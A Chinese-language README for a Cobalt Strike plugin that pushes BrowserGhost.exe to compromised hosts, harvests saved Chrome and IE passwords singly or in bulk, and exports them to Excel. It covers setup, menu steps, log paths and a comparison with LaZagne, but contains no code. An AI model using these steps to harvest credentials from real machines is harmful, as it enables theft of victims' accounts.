一个用于抓取浏览器密码的cna插件
CatchPwd
抓取主机浏览器账户密码的CS插件，能够在CS中批量抓取上线主机密码并保存为Excel文件
一、组成
-
CatchPwd.cna -> 插件部分，包含CS用户交互，BrowserGhost.exe下载运行，保存日志和卸载功能
-
BrowserGhost.exe -> 抓取浏览器密码软件，能够在Windows主机上运行，支持Google和IE浏览器
-
log2exl.py -> excel转换脚本，将CatchPwd保存的日志导出为Excel表格
二、使用
（一）加载插件
在CS中加载插件CatchPwd.cna
（二）配置文件
在CS主目录下新建文件夹script，将BG.exe和log2exl.py放入script文件夹
（三）抓取密码
1.两种使用方式
批量抓取和单个抓取
2.批量抓取
-
菜单栏Help->Catch Browser Password
-
Start Catching -> 下载BG抓取密码，抓取完成后会提示Successful
-
Stop Cathcing -> 卸载BG并保存log，抓取完成后必须点击Stop Cathcing
-
Export Password as Excel -> 运行python脚本导出Excel密码表，弹出对话框会让输入保存Excel的路径，默认在CS主目录下的Scrip文件夹
3.单个抓取
- 右键目标主机->Catch Browser Password
- Start Catching
- Stop Catching
（四）查看密码表
- CS主目录/saved_logs -> 保存BG生成的日志文件
- CS主目录/script/format.txt -> 保存格式化的日志文件
- CS主目录/script/passwd_xxxx_xxxx.xls -> 导出的Excel密码表
三、小记
优点：Lazagne编译为exe后有10M，相比下BrowserGhost.exe软件不到百K，上传速度快
缺点：需要主机安装.netframework才能运行BG.exe，抓取密码类型没有Lazagne丰富
